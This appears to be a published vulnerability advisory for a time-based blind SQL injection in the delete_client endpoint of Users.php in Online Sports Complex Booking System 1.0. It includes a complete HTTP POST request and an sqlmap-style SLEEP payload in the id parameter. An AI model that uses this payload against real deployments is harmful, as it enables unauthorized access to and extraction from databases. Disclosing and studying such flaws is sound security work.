Online Sports Complex Booking System 1.0 SQL Injection

Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability in Users.php. This is a similar issue as the one discovered by Saud Alenazi in March of 2022 but affects a different file.


MD5 | 948b8cee734bbd6b25d4c6d4da656881

#### Title: Online Sports Complex Booking System 1.0 SQL Injection
#### Author: Zllggggg
#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
#### Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md
#### Tested on: Windows, MySQL, Apache

After entering the background, click the registered clients navigation, select a piece of data and click delete

[image: 1648884355.jpg]

Find the corresponding source code and find that the ID parameter passed by
post does not have any filtering

[image: 1648884613.jpg]

The vulnerability is also verified in sqlmap

[image: 1648884408.jpg]

Data packet
```
POST /scbs/classes/Users.php?f=delete_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=clients
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=2
```

Payload
```
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND
'aPSM'='aPSM
---
```







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